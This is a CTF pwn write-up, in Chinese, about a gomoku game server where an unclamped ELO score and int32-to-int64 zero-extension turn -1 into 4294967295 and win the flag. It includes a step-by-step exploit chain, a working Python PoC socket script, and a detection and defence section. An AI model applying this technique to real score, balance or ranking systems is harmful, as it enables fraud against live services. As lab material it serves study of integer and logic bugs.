ELO 积分负分未截断 + 32 位零扩展入库:sqlite3_bind_int64 把 -1 存成 4294967295 登顶排行榜
ctf/pwn · verified
一句话结论
服务端用 ELO 公式结算积分,但“玩家侧”更新函数只对 old_score <= 9 做了不扣分特判,没有对 old_score + delta 做 max(...,0) 截断;当玩家分数降到 10、再输给 7 分对手时得到 -1,而入库时 mov edx, eax; call sqlite3_bind_int64 把 32 位负数零扩展成 0x00000000ffffffff,数据库里存成 4294967295,直接成为排行榜第一并拿到 flag。
原理
- 目标是一个自定义二进制协议的五子棋服务:包头
GAME+ 大端 4 字节总长度 + 1 字节 cmd + payload;cmd=1 取 flag(要求排行榜第一名为player)、cmd=2 查分/排名、cmd=3 排行榜、cmd=4 重置、cmd=5 匹配、cmd=6 看棋盘、cmd=7 落子、cmd=8 认输/空棋盘取消。 - 玩家名固定为
player,初始 50 分;cmd=4把其他前 7 名玩家分数重置为[50,40,30,20,20,10,2000000];cmd=5只随机匹配score <= 50的对手。 - ELO 结算:
text expected = 1 / (1 + 10^((opp - self) / 50)) delta = round(20 * (actual - expected)) # actual: 1 赢 / 0.5 平 / 0 输正常更新是max(old + delta, 0);但玩家侧调用的是 buggy 版本:text if (old_score <= 9 && delta < 0) return old_score; return old_score + delta; // 没有 max(..., 0)因此只要old_score > 9、delta < 0、old + delta < 0,就会返回负数。 - 入库时
db_update_player_score()调用sqlite3_bind_int64(stmt, 1, score),但 score 通过 32 位寄存器传入:text mov edx, eax call sqlite3_bind_int64x86-64 SysV 下写edx会把rdx高 32 位清零;eax = -1 = 0xffffffff传到sqlite3_bind_int64时变成0x00000000ffffffff = 4294967295,负数被零扩展成超大正数。 - 排行榜按
score DESC排序,4294967295 远大于所有 bot(包括 2000000),于是player成为第一;cmd=1检查第一名名字后返回环境变量中的 flag。 - 利用链需要先把 10 分 bot 打成 7 分:用稳定的五子棋开局
5,3 → 5,4 → 5,5 → 5,6 → 5,7在 x=5 列形成两头冲四,AI 只能堵一头,第五手获胜;玩家 50→53,bot 10→7。随后按 20、20、30、38、7 的顺序连续认输,把玩家从 53 降到 10,最后输给 7 分 bot 得到 -1。 - 根因是“负数未截断 + 有符号 32 位到 64 位的零扩展”;这不是内存破坏,而是业务逻辑与整数类型的组合缺陷。
触发条件
- 服务端积分/余额/排名等数值使用有符号 32 位 int 计算,更新时缺少下界截断(
max(...,0)或if (new < 0) new = 0)。 - 结算公式允许在特定分差下产生负 delta,且玩家分数可以降到 10 以下仍继续参与匹配。
- 入库/比较时把 32 位 int 传给 64 位 API(
sqlite3_bind_int64、int64_t、long long),编译器用 32 位寄存器赋值导致零扩展而非符号扩展。 - 排行榜/权限判断直接使用该数值(分数最高者拿 flag/管理员权限)。
- 攻击者能控制比赛结果或匹配对象(认输、空棋盘取消、刷对手)。
利用步骤
- 逆出协议格式与命令表;确认
cmd=1的取 flag 条件是“排行榜第一名为 player”。 - 逆出 ELO 公式、reset 固定分数、匹配规则(score <= 50)与玩家侧 buggy 更新函数。
- 用
cmd=4重置对手池;用cmd=5匹配,若不是目标分数就用cmd=8在空棋盘取消(不掉分),反复刷到 10 分 bot。 - 用稳定开局赢 10 分 bot,制造 7 分 bot,同时把自己打到 53。
- 依次匹配 20、20、30、38、7 分 bot,每次落一子后
cmd=8认输,把分数降到 10,最后输给 7 分 bot 得到 -1。 - 查询
cmd=2/cmd=3确认分数为 4294967295、排名 1;发cmd=1取 flag。
PoC
import re, socket, struct
def recv_exact(s, n):
d = b""
while len(d) < n:
c = s.recv(n - len(d))
if not c: raise ConnectionError
d += c
return d
def cmd(s, c, payload=b""):
s.sendall(b"GAME" + struct.pack(">I", 9 + len(payload)) + bytes([c]) + payload)
hdr = recv_exact(s, 9)
total = struct.unpack(">I", hdr[4:8])[0]
return recv_exact(s, total - 9).decode()
def match_until(s, target):
while True:
body = cmd(s, 5)
m = re.search(r"Matched\s+(.+)\s+Score=(\d+)\s+You=Black", body)
if int(m.group(2)) == target:
return
cmd(s, 8) # 空棋盘取消,不掉分
def win_10(s):
match_until(s, 10)
for mv in [b"5,3", b"5,4", b"5,5", b"5,6", b"5,7"]:
if not cmd(s, 7, mv).startswith("Continue"):
break
def lose_to(s, score):
match_until(s, score)
cmd(s, 7, b"0,0") # 下一手让棋盘非空
cmd(s, 8) # 认输
with socket.create_connection((HOST, PORT)) as s:
cmd(s, 4) # reset
win_10(s) # 50 -> 53, 10-bot -> 7
for sc in (20, 20, 30, 38, 7):
lose_to(s, sc) # 最后 10 -> -1 -> 4294967295
print(cmd(s, 2))
print(cmd(s, 1)) # flag
变体与关联
- 数值类型变体:32 位
int→int64_t/size_t/sqlite3_bind_int64/long的零扩展或符号扩展;unsigned与signed混用;abs(INT_MIN)溢出。 - 业务变体:积分、余额、优惠券数量、库存、排名权重;负数或超大值可能绕过“最高分/最多数量”判断。
- 利用变体:先制造下溢再入库、利用
max(...,0)缺失、利用特殊分差/低分 bot 控制 delta、利用空棋盘取消反复刷匹配。 - 关联:[[ctf-pwn-hexfloat-strtoull-parser-differential]](数值解析差异绕过校验);[[binary-pwn-signed-index-scale-wrap-adjacent-fd]](有符号索引/缩放溢出);[[ctf-pwn-negative-index-hidden-slot-encoded-fptr]](负数下标越界)。
- 边界:若服务端对分数做
max(0)截断、使用无符号/64 位计算、入库前显式int64_t符号扩展,或排行榜按字符串/其他字段排序,本路径失效。
检测与防御
- 检测:积分出现负数、4294967295、超过业务上限的异常值;同一玩家频繁空棋盘取消匹配、快速连续认输;排行榜第一名为新注册/固定名玩家。
- 防御:结算后强制
score = max(score, 0)并设上限;用 64 位有符号类型计算与入库,显式int64_t转换;对sqlite3_bind_int64的入参做范围校验。 - 加固:匹配/结算逻辑放服务端,校验比赛结果与步数;对异常匹配/认输行为限速与告警;排行榜权限判断不要只看单一数值。